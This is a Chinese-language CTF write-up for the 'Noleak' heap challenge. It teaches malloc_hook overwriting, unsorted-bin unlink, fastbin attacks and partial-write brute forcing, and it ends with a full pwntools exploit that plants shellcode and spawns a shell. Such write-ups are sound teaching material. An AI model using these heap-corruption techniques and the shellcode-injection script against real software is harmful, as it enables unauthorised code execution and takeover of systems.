Noleak
本题需要用到的知识有:malloc_hook、unsorted bin unlink、fastbin attack、partial write bypass PIE
首先,介绍一下malloc_hook,这是C语言提供的一个用来包装malloc的,类似还有free_hook,具体可以查阅相关资料学习
Malloc hook
我们看如下代码
- #include
- #include
-
- void *fun() {
- __malloc_hook = NULL;
- printf("hello,fun was called!\n");
- return NULL;
- }
- int main() {
- __malloc_hook = fun;
- malloc(10);
- }
只要我们把 __malloc_hook赋值为某个函数的地址,那么,当我们malloc时,系统就会去调用那个函数。
Unsorted bin unlink
Unsorted bin使用双向链表维护,假如在物理地址上,chunk0后面是chunk1,我们通过chunk0溢出到chunk1,并且还在chunk0里面伪造了一个chunk,其中fd和bk指向了我们的目标附近处,溢出修改chunk1的prev_size和size,让假的chunk伪装成free的状态,这样,当我们释放chunk1时就触发了unlink,使得chunk0的指针指向了我们的目标处,接下来,我们编辑chunk0,就是编辑目标处。关于unlink的详细知识,请看我之前的一篇博客https://blog.csdn.net/seaaseesa/article/details/102907138 。
本题,当我们free一个unsorted bin时,它的fd指针会指向libc中main_arena+88地址处,而该处的上方不远处,就是__malloc_hook
我们先创建一个256字节的堆,然后释放它,释放后的堆块数据结构是这样的,fd和bk设置成了main_arena+88的值
__malloc_hook
main_arena+88处
我们的目的是修改__malloc_hook,让它指向指向我们的shellcode地址,这样,当我们malloc时,就会触发我们的shellcode执行。
fastbin attack
为了实现修改__malloc_hook处的数据,我们可以利用fastbin将堆块分配到此处,这样我们就能改写此处的数据了。
Fastbin只检查它单向链表中每个块的size域是否符合条件。我们可以在__malloc_hook附近找一个可以伪造的块,想办法把这个块加入到fastbin的链表中,这样,当我们malloc分配时,就可以分配到这个块,这样我们就能修改__malloc_hook的数据了。
我们发现,__malloc_hook上方不远处有一个符合条件的区域
假如,我们的块从图中的0x 7F535F744AED处开始,那么0x 7F535F744AED + 8 = 7F535F744AF5正好是块的size域,由于size域是8字节空间,图中,它后面都是0,因此它的值就是7F,由于fastbin在malloc时,只检查size域,因此,我们可以把0x 7F535F744AED(注意这个地址是随机的,但是它位于__malloc_hook – 0x23处,因此,我们可以来爆破,看下文partial write技术)链接到fastbin里,这样,我们重新分配时,就可以分配到这里。
partial write
前面的演示,我们知道了unsorted bin里最后一个块的fd会残留libc中main_arena+88的地址。(这里开启了另一个程序实例,所有里面的地址变了,不要在意)
由于内存的页载入机制,PIE的随机化只能影响到单个内存页。一般一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后3个十六进制数字的是始终不变的,与它在二进制文件中的地址后3个十六进制是一样的,从图中,我们可以看出,main_arena在libc2.23中的地址后三个数是B78。
我们验证一下,以malloc_hook的地址为例,我们看到,它的静态地址是这样的
后三个数数B10
我们再看看它加载的地址
也是B10
也就是说,在同一个页里,就后2字节不一样,由于main_arena+ 88和__malloc_hook-0x23在同一个页里,现在我们已知后三个十六进制数字,那么我们只需爆破倒数第四个数字,即可得到__malloc_hook-0x23的地址。其实也不用爆破,我们就让倒数第4个数字固定,我们就假如它是2吧(随意),只要我们多次运行程序,总有一次地址正好吻合。
- attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)
那么,我们需要把上面这个2字节覆盖到那个unsorted bin块的fd的低二字节,由于采用的是小端存储,正好可以覆盖,并且保留前面的字节数据。
如图,通过前一个块的溢出,我们修改了数据,我们跳过去看看
遗憾的是,这个地址不是我们的目标处,由于我们假定倒数的第四个数字是2,当前这一次,不走运,地址没有和假定吻合。但是,当我们不断重新运行程序,总有一次会吻合。那个时候我们就可以把__malloc_hook指向我们的shellcode,然后进行一次malloc操作即可getshell。
好了,那我们正式解题吧
先看看保护机制(这一步应该放在最前面的,因为我们需要依据这个想办法)
RELRO 完全开启,意味着我们不能修改GOT表。NX和PIE未开启,意味着我们可以在堆栈里存入shellcode,然后跳到那里去执行shellcode。
先看看程序逻辑(delete功能没有把指针清空)
编辑功能存在UAF以及溢出漏洞,size未做检查,可以溢出堆,UAF也可以编辑堆,真是漏洞百出
我们决定把shellcode存到bss段0x601020处,因为没有开启PIE,它的地址固定
我们如何向这里写入数据呢?
我们需要先利用unsorted bin发生unlink,控制保存堆指针的数组。
- #chunk0
- create(sh,0x100,'a'*0x100)
- #chunk1
- create(sh,0x100,'b'*0x100)
- #我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里
- target_addr = 0x601040
- #构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size
- #假chunk
- #prev_size size
- payload = p64(0) + p64(0x101)
- #fd、bk
- payload += p64(target_addr-0x18) + p64(target_addr - 0x10)
- payload += 'a' * (0x100-8*4)
- #修改chunk3的prev_size和size
- payload += p64(0x100) + p64(0x110)
-
- edit(sh,0,len(payload),payload)
- #发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方
- delete(sh,1)
不明白unlink的可以看我之前的博客里有详解https://blog.csdn.net/seaaseesa/article/details/102907138
发生了unlink,数组里,堆0的指针变成了0x601028,那么我们可以构造payload,从0x601028处溢出到下面,把数组里的几个指针全部修改成其他我们需要的地方,这样当我们编辑对应的堆时,就是编辑这些地址处的数据。比如,现在我们edit(0)就是在编辑0x601028处的数据。
- payload = p64(0) * 3
- payload += p64(bss_addr)
- #将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode了
- edit(sh,0,len(payload),payload)
接下来,我们要开始来实现如何修改malloc_hook了。
- #chunk2
- create(sh,0x10,'c'*0x10)
- #chunk3 这个必须是unsorted bin范围
- create(sh,0x80,'d'*0x80)
- #chunk4
- create(sh,0x65,'e'*0x65)
- #chunk5
- create(sh,0x65,'f'*0x65)
- #free chunk3后,chunk3的fd和bk残留了libc里面的main_area + 0x88指针
- delete(sh,3)
-
- #覆盖低2字节,使得chunk3的FD指向了malloc hook-0x23
- create(sh,0x80,p16(attack_addr_suffix)) #chunk6
chunk2用于溢出到chunk3,对chunk3进行修改。
我们要想实现将malloc_hook-0x23处链接到unsorted bin的链表中去,现在,假设我们覆盖chunk3的fd低2字节后,地址吻合了,那么malloc_hook-0x23已经连接到了chunk3的fd,那么我们就需要把chunk3加入到单向链表中去即可,那么我们需要通过chunk2溢出到chunk3修改chunk3的size域,使它在fastbin范围内,这里,我们就改成0x71吧
- payload = 'c'*0x10
- payload += p64(0) + p64(0x71)
- edit(sh,2,len(payload),payload)
现在还有问题是,我们又不知道chunk3的地址,那么我们还需要再利用一次partial write。
我们先释放chunk4、chunk5,这样,形成了以chunk5为头结点的fastbin单向链表,由于chunk4和chunk3在内存中是相邻的,并且他们的地址只有最后一字节不一样,由于最后一字节我们是可以得到的,只需用IDA观察即可
Chunk3
Chunk4
Chunk5的fd域
我们发现,chunk3和chunk4的地址只有最后一个字节的差别,我们可以利用UAF漏洞,把chunk5的fd的低1字节覆盖成0x30,这样,chunk5的fd就指向了chunk3
- #释放chunk4、chunk5,这样chunk5、chunk4构成了fastbin单向链表
- delete(sh,4)
- delete(sh,5)
- #我们覆盖chunk5的fd的低1字节,目的是让chunk5的fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。
- edit(sh,5,1,p8(0x30))
这样操作以后,形成了这样的一个fastbin链表
Chunk5➡ chunk3 ➡ __malloc_hook-0x23
因此我们malloc三次后,就分配到了__malloc_hook-0x23处,我们就可以修改__malloc_hook了
由于程序会检测数组里指针的个数,超过10个就不给创建了,因此我们在bss段写入shellcode时,顺便把数组里覆盖为0
- #在bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了
- payload = shellcode.ljust(0x20,'\x00')
- payload += p64(0) * 8
- edit(sh,0,len(payload),payload)
我们最终完整的exp脚本
- #coding:utf8
- from pwn import *
-
- context(os='linux',arch='amd64')
-
- elf = ELF('./timu')
- libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
-
- #bss段,我们待会把shellcode写入这里
- bss_addr = 0x601020
- #我们的目的是把__malloc_hook指向bss_addr,这样,当我们malloc时,我们在bss里放的代码被调用
- #从而getshell
- malloc_hook = libc.symbols['__malloc_hook']
- #我们的攻击目标,我们利用fastbin,想办法让堆分配到malloc_hook地址-0x23处
- #由于不能泄露地址,但是由于PIE的缺陷,符号的地址的后3个十六进制数字和它在
- #二进制文件中的地址的后三个十六进制数是一样的。然后,我们就直接设定倒数第
- #个十六进制数字为2,这样,我们不断爆破,总有一次,它的后4个十六进制数字为
- #这个
- attack_addr_suffix = 4096 * 2 + ((malloc_hook & 0xFFF) - 0x23)
-
- #shellcode
- shellcode = asm(shellcraft.sh())
-
- def create(sh,size,content):
- sh.sendlineafter('Your choice :','1')
- sh.sendlineafter('Size: ',str(size))
- sh.sendafter('Data: ',content)
-
- def edit(sh,index,size,content):
- sh.sendlineafter('Your choice :','3')
- sh.sendlineafter('Index: ',str(index))
- sh.sendlineafter('Size: ',str(size))
- sh.sendafter('Data: ',content)
-
- def delete(sh,index):
- sh.sendlineafter('Your choice :','2')
- sh.sendlineafter('Index: ',str(index))
-
-
- def crack(sh):
- #chunk0
- create(sh,0x100,'a'*0x100)
- #chunk1
- create(sh,0x100,'b'*0x100)
- #我们首先需要来完成任意写的目的,这个地址处是一个数组,用来保存堆指针的。我们需要先控制这里
- target_addr = 0x601040
- #构造payload使得chunk0溢出到chunk1,修改chunk1的prev_size和size
- #假chunk
- #prev_size size
- payload = p64(0) + p64(0x101)
- #fd、bk
- payload += p64(target_addr-0x18) + p64(target_addr - 0x10)
- payload += 'a' * (0x100-8*4)
- #修改chunk3的prev_size和size
- payload += p64(0x100) + p64(0x110)
-
- edit(sh,0,len(payload),payload)
- #发生unlink,chunk0的指针指向了保存堆指针的数组,那么我们就可以修改数组里的指针,让它们指向一些关键地方
- delete(sh,1)
- payload = p64(0) * 3
- payload += p64(bss_addr)
- #将堆0指针变成bss_addr,这样我们就可以往bss里写shellcode了
- edit(sh,0,len(payload),payload)
-
- #chunk2
- create(sh,0x10,'c'*0x10)
- #chunk3 这个必须是unsorted bin范围
- create(sh,0x80,'d'*0x80)
- #chunk4
- create(sh,0x65,'e'*0x65)
- #chunk5
- create(sh,0x65,'f'*0x65)
- #free chunk3后,chunk3的fd和bk残留了libc里面的main_area + 0x88指针
- delete(sh,3)
-
- #覆盖低2字节,使得chunk3的FD指向了malloc hook-0x23
- create(sh,0x80,p16(attack_addr_suffix)) #chunk6
- #修改chunk3的size,目的是让chunk3和chunk5、chunk4的size一样
- payload = 'c'*0x10
- payload += p64(0) + p64(0x71)
- edit(sh,2,len(payload),payload)
- #释放chunk4、chunk5,这样chunk5、chunk4构成了fastbin单向链表
- delete(sh,4)
- delete(sh,5)
- #我们覆盖chunk5的fd的低1字节,目的是让chunk5的fd指向chunk3,因为我们不确定chunk3的地址,当我们确定它地址的最后一个字节。
- edit(sh,5,1,p8(0x30))
-
- #在bss段写入shellcode,顺便把堆指针从数组里清空,这样我们又创建多个堆了,不然超过10个就不允许创建了
- payload = shellcode.ljust(0x20,'\x00')
- payload += p64(0) * 8
- edit(sh,0,len(payload),payload)
-
- #chunk7
- create(sh,0x65,'g'*0x65)
- #chunk8
- create(sh,0x65,'h'*0x65)
-
- payload = 'a'*0x13 + p64(bss_addr)
- #这个堆的指针指向了__malloc hook,我们修改它的值为bss_addr,这样,当我们再次malloc时,就会调用bss_addr处的shellcode
- create(sh,0x65,payload) #chunk9
- #当我们再次malloc时,malloc hook执行的函数被调用,我们getshell
- sh.sendlineafter('Your choice :','1')
- sh.sendlineafter('Size: ','1')
- sh.interactive()
-
- #爆破
- while True:
- # sh = remote('111.198.29.45',59617)
- sh = process('./timu')
- try:
- print '正在爆破...'
- crack(sh)
- break
- except:
- sh.close()
成功getshell